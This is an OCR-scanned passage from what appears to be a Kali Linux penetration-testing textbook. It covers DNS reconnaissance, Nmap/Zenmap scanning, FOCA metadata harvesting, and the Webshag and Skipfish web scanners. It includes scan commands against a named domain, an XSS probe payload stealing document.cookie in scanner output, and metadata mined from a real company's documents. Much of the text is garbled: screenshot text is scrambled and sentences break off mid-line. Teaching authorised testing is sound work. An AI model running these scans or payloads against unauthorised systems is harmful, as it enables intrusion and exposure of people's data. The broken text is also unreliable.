To run the Fierce script, type the following command:

fierce.pl -dns thesecurityblogger.com

http://itbookshub.com

-threads Specify how many threads to use while scanning (d

is single threaded) .
-traverse Specify a number of IPs above and below wha

have found to look for nearby IPs. Default is 5 ab
below. Traverse will not move into other C blocks.

-version
-wide

Output the version number.
S<yA(ÿekentidÿUublk5jd after finding any m

hostnames in that class C. This generates a lot mo
but can uncover a lot more information.

Use a seperate wordlist (one word per line)-wordlist

perl fierce.pl -dns examplecompany.com -wordlist dictionary
ikali:~# B_Iroot

root(4kal fierce -dns thasecuritybloggar . com
DNS Servers for thesecurityblogger.com:

ns3.dreamhost .con
nsl , dreamhost .con
ns2,dreamhost .con

Trying zone transfer first. ..
fasting ns3.dreanihost.com

Request timed out or transfer not allowed.

Test ing ns1.d reanhost . c om
Request timed out or transfer not allowed,

Testing ns2,dreamhost .com
Request timed out or transfer not allowed,

Unsuccessful in zone t ransfiy"7 it* iÿs]wGljthri I
Okay, trying the good old fashioned way... brute force

Can't open hosts.m or the default wordlist
Exiting . . .
|rflot|jakril _www.freepdf-books.com
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The domain thesecurityblogger.com, shown in the preceding screenshot, has 
a few hosts associated with it. We have accomplished our task. However, you can 
see Fierce failed at completing a zone transfer. Fierce will try and brute force a zone 

because the goal of this section is to determine what hosts exist on the domain, not 
necessarily at this point carry out a zone transfer attack. However, if your goal is 
more inclusive than targeting web applications, you may want to explore this further 
on your own.

We can now target a particular host and use tools like Nmap to proceed further in 
mapping out our target. An important aspect of using Fierce is selecting a target 

use Nmap to gather more information about our target later in this chapter.

Maltego is a Reconnaissance tool built into Kali developed by Paterva. It is a 
multipurpose Reconnaissance tool that can gather information using open and 
public information on the Internet. It has some built-in DNS Reconnaissance, but 

them. It takes the information and displays the results in a graph for analysis.

To start Maltego, navigate to Application menu in Kali, and click on the Kali menu. 
Then select Information Gathering | DNS Analysis | Maltego.

is to register it. You cannot use the 
application without registration.
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* Welcome to Maitegoi

Startup wizard •Login (? of 5)St

1. Welcome
2. Login
3 Login resuljye- -
4 Select trarfiform seeds
5 Update tMnsfoi n

Q
Enter your detail* below to log in to the Maltego Community Server

Or if you have not done so yet register here

Login

* Email Address

Password

north

rSolve captcha

\

\

Back I Cancel HelpNext >
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When you complete registration, you will be able to install Maltego and start using 
the application.

Maltego has numerous methods of gathering information. The best way to use 
Maltego is to take advantage of the startup wizard to select the type of information 
you want to gather. Experienced users may want to start with a blank graph or skip 
the wizard all together. The power of Maltego is that it lets you visually observe the 
relationship between a domain, organization, and people. You can focus around a 

DNS queries.

Depending on the scan options chosen, Maltego will let you perform the  
following tasks:

Associate an e-mail address to a person
Associate websites to a person
Verify an e-mail address
Gather details from Twitter, including geolocation of pictures

http://itbookshub.com

x Welcome to Maltegol

Startup wizard - Update transforms (5 of 5)SteiLL

1. Welcome
2. Login

3. Login resulÿÿ
4. Select traaBrm seeds
5. Update transforms

Ready...Set...GO!

Your new Maltego client has been initialized sucessfully!

3 new application server(s) were found

141 new transforms were found

76 new entities were installed'v

(V

fc Ax

You are now ready to use Maltego!

<®> Run a machine (NEW!!)

O Open a blank graph and let me play around

O Open an example graph

O Go away. I have done this before!

Back Finish Cancel HelpNext >
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Most of the features are self-explanatory and include how they are used under the 
feature description. Maltego is used commonly to gather information and sometimes 

Nmap
Nmap stands for Network Mapper, and is used to scan hosts and services on 
a network. Nmap has advanced features that can detect different applications 

of the most widely used network scanners making it very effective, but also very 
 

avoid triggering a target's defense systems.

For more information on how to use Nmap, see http://nmap.org/.

Additionally, Kali comes loaded with Zenmap. Zenmap gives Nmap a graphical  
user interface (GUI) to run commands. Although there are many purists who will  
tell you the command-line version is the best version because of its speed and 

features. Zenmap also offers exclusive features not offered in Nmap, such as 
developing graphical representations of a scan, which can be used later by other 
reporting systems.

http://itbookshub.com

* Start a Machine

Run Machine •Choose machine (1 of 2)Steps

Please select the machine to run from the list below:

rpiO Company Stalker

This machine will try to get all

[Dor

addresses at a do

O Footprint LI

This performs a level1(fast, basic) footprint of a domain.

{Domain]

O Footprint L2

This performs a level 2 (mild) footprint of a dom.

[Domain]

\

O Footprint L3 (Domain]

a level 3 (intense) foot a domain It takes a

O Person - Email Address [Person]

\
[ÿI Show on startup

0Show on empty graph click
\

< Back finish Cancel HelpNext >
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To open Zenmap, go to the Backtrack menu. Navigate to Information Mapping | 
DNS Analysis, and launch Zenmap.

You will notice under the  menu that there are several options to determine 
what type of scan you would like to run, as shown in the following screenshot:
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Scan twjLi Prof 1 1* tuip

j |lrt[trUt iiJrtTirtftl |
fom-Ti.iiid |mn*p -T4 - A -v

| Haiti StrviLH

OS |Ht,U

SCW CÿnCfl

Niriip Output | non* / | IgpoJogy |H«( Dsiii Is I S«n.i |

*1 I't r-i i s.

FiUrr hint i

Intense scan S'

Intense scan

Intense scan plus UDP

Intense scan, all TCP ports

Intense scan, no ping

Ping scan

Quick scan

Quick scan plus

Quick traceroute

Regular scan

Slow comprehensive scan
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Tester to create what type of scan to execute and what different options to include. 
Navigate to the  menu and select  to create a new 

When you select 
My 

First Scan or anything else you would like.

don't take any space and come handy when you want to recreate something. We 

description of my location, my target network scan location, and customer name.

http://itbookshub.com

Zenmap

Scan Tools Profile Help

New Profile or Command Ctrl+P
Target: Profile: Intense scar

Edit Selected Profile

Command: nmap -T4 -A -v
Ctrl+E :

ServicesHosts Nmap Output Ports /Hosts Topology Host Details Scans

OS Host V

|nmap -T4 -A -vj

Scan Ping Scripting Target Source Other TimingProfile

Profile Information

Profile name My First Scan

Description 3-20-13 at 11:00am CDT

DrChaos network Scan. Target hosts 10.0.1.0/24|
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When you completed your description, click on the Scan tab. In the Targets section, 

a range of IP addresses (10.0.1.1-255) or it can take a network in CIDR format 
(10.0.1.0/24).

You can see option -A is selected by default to enable aggressive scanning. Aggressive 
scanning will enable OS detection ( ), version detection (-sV), script scanning (-sC) 
and traceroute (--traceroute). Essentially, aggressive scanning allows a user to turn on 

Aggressive scan is considered intrusive, meaning it will be detected by most 
security devices. An aggressive scan may go unnoticed if your target is an 

have the permission to scan before using this or scanning option. As a reminder, 
completing the ACK in the three-way handshake with an unauthorized system is 
considered illegal by the US standards.

We can use the information we received from our DNS Reconnaissance exercise to 

http://itbookshub.com

nmap -T4 -A -v 10.0.1.0/24

Profile Scan pjng Scripting Target Source Other Timing

Scan options

Targets (optional):

TCP scan:

110.0.1.0/24|
A

None V

A
Non-TCP scans: None V

A
Aggressive (-T4)Timing template:

0 Enable all advanced/aggressive options (-A)

Operating system detection (-O)

Version detection (-sV)

Idle Scan (Zombie) (-si)

FTP bounce attack (-b)

Disable reverse DNS resolution (-n)

IPv6 support (-6)
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Click on the Ping tab. Select the -Pn

settings only perform scans on hosts that are considered alive or reachable. The -Pn 

the scan considerably more lengthy, the –Pn
problem of not receiving a ping response when the ping requests are blocked by 
security defenses.

Save changes made by clicking on the  button in the lower-right  
hand corner. Once saved, select the Scan button on the top-right side of the screen 

editor are listed.

The network Topology tab will give you a quick look at how your scan on the target 
network was completed, and if you had to cross any routers. In this example, you see 
the scan stayed local to the network.

http://itbookshub.com

|nmap -T4 -A -v -Pn 10.0.1.0/24

Profile|Scan Ping|Scripting|Target |Source|Other |Timing|
Ping options

Q Don’t ping before scanning (-Pn):

ICMP ping (-PE)

Q ICMP timestamp request (-PP)

ICMP netmask request (-PM)

ACK ping (-PA)

SYN ping (-PS)

UDP probes (-PU)

IPProto probes (-PO)

SCTP INIT ping probes (-PY)

Help

SCTP INIT ping probes

Send SCTP INIT chunk
packets to see if targets are
up. Cive a list of ports or
leave the argument blank to
use a default port.

Example input:

20,80.179

$Cancel I 0Save Changes|

Scan Iools Profile Help

Scan Cancel|Target: 110.0.1.0/24

Command: |nmap -T4 -A -v 10.0.1.0/24

Profile: Intense scan

Nmap Output|Ports / Hosts|Topology|Host Details|Scans|
|nmap-T4-A-v

I Hosts Services

DetailsOS Host

Starting Nmap 6.25 ( http://nmap.org ) at 2013-03-21
00:16 COT
NSE: Loaded 196 scripts for scanning.
NSE: Script Pre-scanning.
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The Hosts tab will give a list of the hosts discovered. 

When a host is selected, Zenmap will display a detailed list of the hosts, their 
operating systems, and common services. In the following screenshot, you can  
see one of our hosts is a satellite DVR/receiver combo.

http://itbookshub.com

Scan Iools Profile Help

dTarget 110.0.1.0/24

Command |nmap -T4 A -v 10.0.1.0/24

Scnnces | Nmap Output|Ports / Hosts Topology (Host Details|Scans|

Profile Intense scan Scan ance

| Hosts

, fiÿSave Graphic IOS Host ControlsHosts Viewer

.? 10.0.1.1

10.0 1.103

U 10.0.1.104

U 10.0.1.107

IJ 10.0.1.112

U 10.01.113

IM 10.0.1.122

0* 10.0.1.12S

10.0.1.140

IM 10.0.1.142
n«5»o.i.iOT(ÿ10.0.0ÿ4ÿ/10.0.1.112

.0.1.125

HO.0.1.140
fe:lPft3

filter Hosts

Scan Iools £rofile Help

w | Scan)w | Profile. [Target 110.0.1.0/24

Command |nmap -T4 -A -v 10.0.1.0/24

CancelIntense scan

Nmap Output|Ports / Hosts|Topology Host Details|Scans|I Hosts Services

* 10.0.1.140OS Host

* Host Status
State:

V lo.o.i.i

'ft 10.0.1.103

V 10.0.1.104

V 10.0.1.107

V 10.0.1.112

V 10.0.1.113

IM 10.0.1.122

IM 10.0.1.125

up

Open ports: 4

Filtered ports 0

Closed ports: 996

Scanned ports: 1000

79217 IUp time:

Last boot Wed Mar 20 02 33 16 2013

w Addresses
IPv4 10.0.1.140

IPv6: Not available

MAC: 00 0DCS 86 80 8F

it 10.0.1.140

IM 10.0.1.142

~ Operating System

Name Dish Network VIP 722k DVR (Linux 2.6)

90%Accuracy

Ports used

OS Classes

TCP Sequence

IP ID Sequence

TCP TS Sequence

Comments Z.\IFilter Hosts
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If you look at the scan 
hosts, but also what applications are running on those hosts. Notice that Nmap can 
determine things, such as a server is running IIS 5.0 as a web server over port 80. The 
scan results will yield the IP address of the server, the operating system the server is 
running, as well as the web applications running on the host. Penetration Testers will 

.

It is now possible for you to concentrate your efforts on the target's running web 
services or port 80, because it is open.

Zenmap is the best way to get output from Nmap scans. Zenmap offers a rich 
graphical user interface that displays scans that can be exported into different 
formats, such as text or Microsoft Excel.

http://itbookshub.com

Scan Iools £rofile Help

d | Scan| Cancel|Target 110.0.1.0/24

Command: |nmap -T4 -A -v 10.0.1.0/24

Profile Intense scan

f Nmap Output |Ports / Hosts|Topology|Host Details |Scans|
(nmap'-T4 -A -v 10.0J..0/24 _ _ _ _

Hosts Services

DetailsService
V ua i MIII ii.v.o ii.i.u/ 4DragonlDSConsole

airport-admin

daap

domain

hp-gsg

Uptime guess: 13.319 days (since Thu Mar 7 15:48:25 2013)
Network Distance: 1 hop
TCP Sequence Prediction: Oif ficulty=26G (Good luck!)
IP 10 Sequence Generation: Randomized

TRACEROUTE
HOP RTT ADDRESS

5.12 ms 10.0.1.1041
http

Nmap scan report for 10.0.1.107
Host is up (6.0063s latency).
Not shown: 984 closed ports

STATE SERVICE
80/tcp open http
(Serial CN27KBWHX005KC )
| http favicon: Unknown favicon MD5: A14D3BAA6A6746D1A77AFB1E1DC82F0F

j http-methods: GET
j http-title: Site doesn't have a title (text/html; charset*UTF-8).
139/tcp open tcpwrapped
443/tcp open ssl/http
(Serial CN27KBWHX005KC)

|_ http- favicon: Unknown favicon MD5: A14D3BAA6A6746D1A77AFB1E1DC82F0F
j http methods: GET
| http-title: Site doesn't have a title (text/html; charset=UTF-8).

j ssl-cert: Subject: commonName=HPC7761D/organizationName=HP/
stateOrProvinceName=Washington/countryName=US
| Issuer: commonName=HPC7761D/organizationName=HP/state0rProvinceName=Washington/
count ryName=US
| Public Key type: rsa
| Public Key bits: 1024
| Not valid before: 2012-08-03T14:39:21+0O:00
| Not valid after: 2032-07-29T14 : 39: 21+00 :00
| MD5: ca9e 0de8 7081 bcbe a87b aefa 27a0 elOd
| SHA-1: 91e5 ee6a 5985 c739 c950 6437 500a 5257 f896 c5c7

jetdirect

neibios-ssn JPORT VERSION
HP Officejet Pro 8600 printer http configprinter

qsc

rtsp

snet-sensor-mgmt

HP Officejet Pro 8600 printer http configssh

sun-answerbook

tcpwrapped

unknown

-iiFilter Hosts — i -i -* - •WM1 r\-> mm.ift.iw.nn.rtn, rtni.c c------i
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Although there are many ways to get outputs from Nmap (for example, the authors 
in this book prefer the command-line techniques) we have included this technique 
because it is constantly referenced in many web penetration standards and is a 
common way for people to use it.

In addition, several places in GUI for Zenmap allow the user to export graphics and 
These exports are extremely 

valuable when creating reports.

Did you know every time you create a document, such as a Microsoft PowerPoint 
presentation, Microsoft 

http://itbookshub.com

Nmap Output | ports / Hosts|Topology|Host Details|Scans|
nmap -T4 -A -v 10.0.1.0/24 Detail

Initiating SYN Stealth Scan at 19:58
Scanning 5 hosts [1000 ports/host]
Discovered open port 8888/tcp on 10.0.1.104
Discovered open port 8080/tcp on 10.0.1.107
Discovered open port 445/tcp on 10.0.1.107
Discovered open port 53/tcp on 10.0.1.103
Discovered open port 22/tcp on 10.0.1.103
Discovered open port 80/tcp on 10.0.1.103
Discovered open port 80/tcp on 10.0.1.107
Discovered open port 443/tcp on 10.0.1.107
Discovered open port 80/tcp on 10.0.1.104
Discovered open port 443/tcp on 10.0.1.104
Discovered open port 139/tcp on 10.0.1.107
Discovered open port 53/tcp on 10.0.1.1
Discovered open port 9100/tcp on 10.0.1.107
Discovered open port 631/tcp on 10.0.1.107
Discovered open port 9290/tcp on 10.0.1.107
Discovered open port 9111/tcp on 10.0.1.107
Discovered open port 6839/tcp on 10.0.1.107
Discovered open port 9110/tcp on 10.0.1.107
Discovered open port 9102/tcp on 10.0.1.107
Discovered open port 9220/tcp on 10.0.1.107
Discovered open port 515/tcp on 10.0.1.107
Discovered open port 9101/tcp on 10.0.1.107
Discovered open port 787/tcp on 10.0.1.104
Discovered open port 7435/tcp on 10.0.1.107
Completed SYN Stealth Scan against 10.0.1.104 in

1.27s (4 hosts left)
Completed SYN Stealth Scan against 10.0.1.107 in
1.27s (3 hosts left)
Discovered open port 5009/tcp on 10.0.1.1

Nmap Output | Pans ; HOSES Topology HOSE Decarls |Scans J
x Fis heye j j ]Controls I 0$ave Graphic jHOSTS Viewer
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a particular data set, object, or resource, including how it is formatted as well as 
when and by whom it was collected. Metadata can be useful to Penetration Testers, 

Name of users logged into the system
Software that created the document
OS of the system that created the document

FOCA is a security-auditing tool that will examine metadata from domains. You  

FOCA is built into Kali; however, the version is dated. Best practice is downloading 
the newest version. FOCA has traditionally been a Windows tool, and the newer 
versions may be only available for Windows.

The latest version of FOCA can be downloaded at: http://www.informatica64.
com/DownloadFOCA (use Google Translate to see the page in English).

You will need to give your e-mail address at the bottom of the screen. You will 
receive an e-mail with the download link. You will also receive updates when FOCA 
has new releases.

1.	
in the following screenshots:.

http://itbookshub.com

m rOCA Free 3.2

QT Project Tools Xj Options O Tasklist £ About EDonate

S No protect

— Domarw
3E 0 Roles

Q FOCA 3.2g & Vutnerabtoes
Metadata

Compiled flags [ FREE ]

http A'A'A mlormatica&s comfoea aspx

Time Source Severty
www.freepdf-books.com



Reconnaissance

[ 68 ]

We recommend keeping all project files in one place. You should 
create a new folder for each project.

2.	 Once you name your project and decide where you want to store the project 
 button, as shown in the following screenshot:

http://itbookshub.com

flft FOCA Free 3.2

Project Tods Optic

] ] j New project_

Open project

jg Save project

]g Save project As ..

Project configuration

Bj Close

]

X.A F ree 3.2

Project Tools Options Q Tasklist £ About EDonate

0 No protect

—j Networic
r~. Oomarvs

E Ci Roles FOCAMetadata

Project name I

Domain website

aAlternative domains

Folder wtiere save documents

|7/25/20131020.24 PMProject date

Project notes

Autosi Hgctjeach (Disabled in free version) minutes

jjCreate | .ÿCancel |

| Source l Severty l UewQ>
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3.	
on the Search All button so FOCA will use search engines to scan for 
documents. Optionally, you can use local documents as well.

4.	 Download option, as shown in the 
following screenshot:

http://itbookshub.com

4B Test Project - FOCA Free 3.2

Q] Project Tools Jj}Options QJ TaskList About H Donate

B Test Project

B- —j Network
| 3 'ÿfl Clients (1)

1| PC_Joey Muniz

j B"(p Servers (0)
1.....Unlocated Servers

rd
Search engines Extensions

17 Google

W Bing

V Exalead

All None

0 doc 0 xls

0 ppt 0 docx 0 xlsx 0 sxi
0 pps 0 pptx 0 sxw 0 odt

0 ppsx 0 sxc

<1 I Jj

m-rr. Domains
E) i«i Roles

B Vulnerabilities
Custom search All

n I Type | URL | Download [ Download Date Size | Analiz AId
- Documents (1/140)

j E PPÿ 0)

B--d Metadata Summary

|- Users (2)

Folders (0)

| Printers (0)

I -ÿ) Software (2)

f 1 Emails (0)

j S'* Operating Systems (0)

Passwords (0)

jj Servers (0)

®J0 pptx \\psf\Home\Desktop\Digital UfeDeck.pptx

doc http://www.wwt.com/products_services/documents/CC...

doc http://www.wwt.com/missouri/docs/eep.doc

doc http://www.wwt.com/products_services/documents/CC...

doc http://www.wwt,com/products_services/documents/Qo...

doc http://www.wwt,com/products_services/documents/DC...

doc https //www.wwt com/products_services/documents/C .

http://www.wwt.com/markets/federal/N I H1Exls
http://www.wwt.com/federal/images/N I H2xls

http://www.wwt.com/markets/federal/N I H3xls
http://www.wwt.com/federal/images/N I H1CxIs
http://www.wwt.com/federal/images/N I H1Bxls

10/27/2012 1:09:31...
10/27/20121:09:32...
10/27/2012 1:09:32...
10/27/20121:09:33...

10/27/20121:09:36
10/27/20121:09:34...

10/27/20121:09:35...

10/27/20121:09:36...

10/27/20121:09:37...
10/27/20121:09:37...

10/27/20121:09:39...

10/27/20121:09:38

2.94 MB • _|

384 KB X

28.5 KB x
397 KB x

364.5 KB x
365 KB X

366.5 KB x
120.5 KB x
370.5 KB x

104KB x
636.5 KB X

100.5 KB x

1ÿ)1

fl]3

l3j5
fl]6
i§]7 xls

i§]8 xls

l?j9 xls

®]10 xls

I3J11 xls

<1
Source Seventy Message 3Time

1:33:54 ... MetadataSearch low

1:34:10 ... MetadataSearch low
1:34:52... MetadataSearch low

1:35:08... MetadataSearch low

1:35:49 ... MetadataSearch low
1:36:06... MetadataSearch low

Downloaded document: http://www.wwt.com/markets/documents/eduSafetyHi Ed-broch121707.pdf

Downloaded document: http://www.wwt.com/news_events/documents/STLBJ_3-5-03.pdf

Downloaded document: http://www.wwt,com/news_events/documents/NACSecurityRoadshow9-10...
Downloaded document: http://www.wwt.com/news_events/documents/FCW_ECS4-26-04.pdf

Downloaded document: http://www.wwt.com/news_events/documents/STLBJ_4-14-03.pdf

Downloaded document: http://www.wwt.com/news_events/documents/SBC_press_release_4-22-C. . . 1
I kJ Deactivate AutoScrol I I -g;Clear | |jÿjSave log to File IConf

111/14fi

bearefi
-J All

ZLstorri search

I Down Size | Analiz A

>.34 MB x
_

384 KB x
28.5 KB x
397 KB x

64.5 KB x
365 KB x

66.5 KB x
20.5 KB x
70.5 KB x
104 KB x
36.5 KB x
00.5 KB x T

l Type | URLId
Download

\\psf\Home\Desktop\DigitalLifeDeck.pptx

http://www.wwt .com/products_services/documents/CC...

http://www.wwt.com/missouri/docs/eep.doc

http://www.wwt.com/products_services/documents/CC...

http://www.wwt com/products_services/documents/Qo...

http://www.wwt .com/products_services/documents/DC. . .

https://www.wwt.com/products_services/documents/C. . .

http://www.wwt .com/markets/federal/N I H1E jds

http://www.wwt .com/federal/images/N I H2 jds

http://www.wwt.com/markets/federal/N I H3jds

http://www.wwt .com/federal/images/N I H1C jds

http://www.wwt.com/federal/images/N I H1 B jds

pptx

.4ÿ Download Alldoc x
i§]2 doc x

Delete

x Delete All
§]3 doc x
lÿ]4 doc

doc x
dft Extract Metadata

iÿ]S doc X
Extract All Metadai?j7 xls X

xls Analyze Metadatax
igjs xls X

2 Add file

Add folder
I§]10
15]11

xls x
xls X L6

<7 Add URLs from file

«e> Link

i methods found (trace) on http://www.wwt.com/maikets/documents/
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5.	
Extract M

etadata option, as show
n in the 

follow
ing screenshot:

6.	
A

nalyze M
etadata option, as show

n in 
the follow

ing screenshot:
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In the following screenshot, you can see two people opened this document.

used to create this document as shown in the following screenshot:

http://itbookshub.com

m Test Project - FOCA Free 3.2
_

n x

J] Project Tools Options O TaskList ' About H Donate

B i&j Test Project

B =j Network
j El p Gents (1)

j B . 2) Servers (0)

-.'2. Unlocated Servers FOCAB "T Domains

El Roles

El £ ' Vulnerabilities
B Metadata

B Documents (1/140)

| El PPÿ 0)

E ~ Metadata Summary

I ValueAttribute

All users found (2) - Times found

Joey Muniz

Aamir Lakhani

1

1a-mm
Folders (0)

Printers (0)

Software (2)
r~) Emails (0)

»'* Operating Systems (0)

'°-Jÿ Passwords (0)

j Servers (0)

Time |Source | Severity | Message T 3
1:11:34... MetadataSearch low

1:12:02... MetadataSearch low

1:12:31 ... MetadataSearch low

1:13:00... MetadataSearch low

1:13:43... MetadataSearch low

1:13:58... MetadataSearch low

Downloaded document: http://www.wwt.com/markets/documents/WWTTG500GscoTelepresence_...

Downloaded document: http://www.wwt com/extemal_content/downloads/CashmanEquipmentSue...

Downloaded document: http://www wwt com/news_events/documents/WWT_WirelessMobilityin HC...

Downloaded document: http://www.wwt com/news_events/documents/stlbj_9_0_05.pdf

Downloaded document: http://www wwt com/extemal_content/downloads/CSMars_Data_Sheet pdf

Downloaded document: http://www wwt com/news_events/documents/WWT_DesktopVirtualizatio.. . Zl
Conf I Deactivate AutoScrol I I "5?Clear [)3Save log to File

Downloading 65/140

# Test Project - FOCA Free 3.2
_

n x

j] Project Options Q TaskList rjj About H DonateTools

B Test Project

El J=J Network

FG:A
E ip Gients (1)

ElGjj Servers (0)

2, Unlocated Servers

El 7ÿ Domains

El Roles
El Vulnerabilities

B Metadata

B Documents (1/140)

| B iS] pptx (1)

El "T: Metadata Summary

Users (2)

j.....Folders (0)

Printers (0)

I ValueAttribute

AJI software found (2) - Times found

Microsoft Office for Mac

Adobe Photoshop CS3

1

1

Software (2)|
Q Emails (6)
Sj Operating Systems (0)

Passwords (0)

.J Servers (0)

| Source | Seventy | MessageTime

1:12:02
1:12:31
1:13:00
1:13:43
1:13:58
1:14:40

MetadataSearch low

MetadataSearch low

MetadataSearch low

MetadataSearch low

MetadataSearch low

MetadataSearch low

Downloaded document: http://www.wwt.com/extemal_content/downloads/CashmanEquipmentSuc...

Downloaded document: http://www.wwt.com/news_events/documents/WWT_WirelessMobilityin HC ...

Downloaded document: http://www.wwt com/news_events/documents/stlbj_9_0_05.pdf

Downloaded document: http://www.wwt com/extemal_content/downloads/CSMars_Data_Sheet .pdf

Downloaded document: http://www.wwt.com/news_events/documents/WWT_DesktopVirtualizatio ...

Downloaded document: http://www.wwt.com/news_events/documents/GC N_021307.pdf Zl
I Deactivate AutoScrol I I GjCI 13Save log to FileConf ear

Downloading 66/140
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In many cases, attackers will be able to see much more information and gather 
intelligence about a target.

FOCA allows the user to save and index a copy of all the metadata. In addition, 
copied. This gives a Penetration Tester 

a wealth of information. Screenshots are usually used to give an overview of the 
FOCA will allow a 

Summary
Reconnaissance is typically the most critical step in a Penetration Testing exercise 
and can be the most time consuming. Any actions taken against a target is 
customized around results from Reconnaissance previously performed. The more 
data known about a target equates to the less likely to trigger alarms, as well as 
better chance of identifying a way to compromise the target. It is recommended to 
look at this chapter as a prerequisite to the remaining chapters in this textbook.

In this chapter, we focused on various ways to gather information about a target. We 
showcased some popular free tools available on the Internet, as well as Information 
Gathering utilities available in Kali Linux. At this point, you should be ready to 

The next chapter will focus on identifying and exploiting vulnerabilities in web 
applications and web servers.
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Server-side Attacks
computing system running services to users and 

other computers on a network. Examples of service range from public services such 

of client-server architecture, a servers is a computer program running to serve 
the requests of other programs, known as the "clients". Thus, the server performs 
some computational task on behalf of "clients". The clients either run on the same 
computer, or connect through the network. For example, a server would host a game 
to the world while clients would access the game remotely. There are various forms 
of providing services to clients such as an Apache Web Server limited to HTTP or a 
BEA WebLogic Application Server that does HTTP plus more.

Network servers are typically 
volumes of clients. This means adding additional processing, memory and 
storage making these assets valuable targets for hackers. Organizations typically 
manage servers remotely and don't actively monitor activity, meaning small hits 
in performance or other indicators of being compromised may go unnoticed. It's 

of time prior to the owners identifying the vulnerability used to access the system.

This chapter will focus on identifying and exploiting vulnerabilities in web 
application servers. We will start out with showcasing tools available in Kali used 
to identify vulnerabilities. Next, we will focus on exploiting vulnerabilities to gain 
access to web application servers. We will conclude with other methods to access 
web application services.

http://itbookshub.com
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Vulnerability assessment
Server-side attacks are 
and applications running on a server. For example, a web server has several attack 
vectors. It is a server running an operating system and running various pieces of 
software to provide web functionality. It has many open TCP ports. Each one of 
these vectors could harvest a vulnerability that an attacker could exploit to get into 
the system and obtain valuable information. Many protocols on servers are handled 
through readable non-encrypted text.

Let's take a look at some tools available in Kali for identifying vulnerabilities  
on servers.

Webshag
Webshag is a multi-threaded, multi-platform tool used to audit web servers. 
Webshag gathers commonly useful functionalities for web servers such as port 

HTTP or HTTPS, through a proxy and using HTTP authentication (basic or digest). 
In addition, Webshag can use IDS evasion capabilities aimed at making correlation 
between requests more complicated.

Webshag provides additional innovative capabilities such as retrieving the list of 
domain names hosted on a target machine as well as fuzzing using dynamically 

resistant to content changes. This feature is designed as a false positive removal 
algorithm aimed at dealing with "soft 404" server responses.

Webshag is accessed through a GUI or a command-line console and available with 
the Linux and Windows platforms. Webshag can be found under Web Applications 
| Web Vulnerability Scanners as webshag-gui.

Webshag is easy to use. Each feature has a tab on the top. Select the desired feature 
tab, enter in your target URL under the target space and click on  to execute. You 
can run multiple tabs simultaneously. Features include Port Scanning, Spider, URL 
Scan, and Fuzzing. The next four screenshots show Webshag performing a port scan, 

www.thesecurityblogger.com:
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http://itbookshub.com

/v v x webshag 1.10

File Tools Help

PSCAN INFO SPIDER USCAN FUZZ

Settings

Target [host | IPv4]:

www.thesecurityblogger.com OK

Results
Open Ports: Port Details:

587

80

Console:

Scan of www.thesecurityblogger.com finished
Found 2 open ports.

INFO
INFO

Status
Idle. Last scan finished @ 17/04/2013 12:05:30

10

File Tools Help

PSCAN INFO SPIDER USCAN FUZZ

Settings
Target [host | IPv4]: Port [80]: Start [f\ ndex.html]:

www.thesecurityblogger.com 80 / OK Stop

Results
internal directories: emails:

/

/wp-content/uploads/2011/08/

external links:

Awww.definethecloud.net

www.lockpickingl01.com

www.nactac.com

www.pauldotcom.com

www.memestreams.net

www2.wwt.com

wordpress.org

automattic.com

www.feedbumer.com

Console:

INFO Spidering www.thesecurityWogger.com / 80
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http://itbookshub.com

Iv x webshag 1.10

File Tools Help

A

PSCAN INFO SPIDER USCAN FUZZ

Settings

Target(s) [hostl, host2,...]: Port(s) [80, 8080,...]:

| www.thesecurityblogger.com 1 1 Stop80 OK

Import-Root directories [/, /dir/,...]: Skip String [Not Found]:

-- automatic -/

Results
Targets: Results:

www.thesecurityblogger.com: SearchText=scriptalertdocument.cookie/script&PhraseSearchText=scriptalertdocument.cookie/
script&SearchContentClasslD=-l&SearchSectionlD=-l&SearchDate=-l&SearchButton=Search

[301]
script>
Redirected to: http://www.thesecurityblogger.com/content/search/?
SectionlD=3&SearchText=scriptalertdocument.cookie/script

/index.php/content/search/?SectionlD=3&SearchText=<script>alert(document.cookie)</

I
Console:

ERROR Request failed. Server may be overloaded.
ERROR Request failed. Server may be overloaded.
ERROR Request failed. Server may be overloaded.
ERROR Request failed. Server may be overloaded.
ERROR Request failed. Server may be overloaded. I

v x webshag 1.10

File Tools Help

A

PSCAN INFO SPIDER USCAN FUZZ

Settings

Target(s) [hostl, host2,...]: Port(s) [80, 8080,...]:

Stop |www.thesecurityblogger.com 80 OK

Import-Root directories [/, /dir/,...]: Expression [log_[a-z]{l}[0-9]{2}.txt]:
Q Fuzz Directories O Fuzz Files Switch to Gen Mode/

Results
Targets:

www.thesecurityblogger.com:

Results:

[403] /cgi-bin/

[401] /stats/

1
[200] /wp-content/

[200] /wp-indudes/
I

Console:

TARGET Scanning www.thesecurityblogger.com / 80
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Webshag offers exporting all data found during an audit in the XML, HTML, and 

worthy of use as a standalone document or article of reference for a Penetration Test 
delivery report. The next two screenshots show exporting options and the top of a 
audit report:

More information about Webshag can be found at  
http://www.scrt.ch/en/attack/downloads/webshag.

http://itbookshub.com

* Export Report...

Export Results:

B Port Scanner a Info s Spider a URL Scanner a Fuzzer

Output File:

/root/Desktop/results Open

Output File Format:

xml

xml

html

Audit Report webshag/1.10

26-04-2013

Port Scanner

64.90.50.80

80 (tcp)

Service:

587 (tcp)

Service:

Product:

http

smtp

Postfix smtpd

Info

Spider

]
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 is a web application security 
interactive sitemap for the target using recursive crawl and dictionary-based probes. 
The resulting map provides output after being scanned by security checks.

Web Applications | Web Vulnerability Scanners as 
Terminal window will pop up showcasing 

vulnerability assessment.

Note that some dictionaries may not be found in Kali. You can 
dictionaries 

from https://code.google.com/p/skipfish/.

The available dictionaries are located in the dictionary

There are various command options available in 
target website using a custom wordlist, enter skipfish, select your wordlist using 
the -W option followed by the location of the wordlist, select your output directory 
using -o

Skipfish –o (output location) –W (location of wordlist) (target website)

The following example shows a scan using a wordlist called complete.wl on 
securityblogger.com Skipfishoutput 
on the desktop. This is run using the keyword skipfish, –o /root/Desktop/
Skipfishoutput to specify the location to which send the output, -W /root/
Desktop/complete.wl to specify the location of the dictionary and http:// 
www.thesecuirtyblogger.com as the target to scan against.

http://itbookshub.com

|root(|kali:-/Desktop/skipfiih1-v2ÿMI>/diet3' # Is
complete.wl extensions-only .wl medium.wl minimal .wl

|root@kali:--# skipfish -o /root/Desktop/Skipfishoutput -W /root/Desktop/complete .wl http://www.thesecurityb
logger.com]
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Note that the default skipfish dictionaries will not run when using the 
–W command. You can copy a default wordlist and remove the read-only 

#ro) to run as a custom wordlist. This is shown 
in the following screenshot:

If there are no compiling errors, you will be presented with a launch screen that 
states the scan will start in 60 seconds or on pressing any key.

http://itbookshub.com

complete.wl

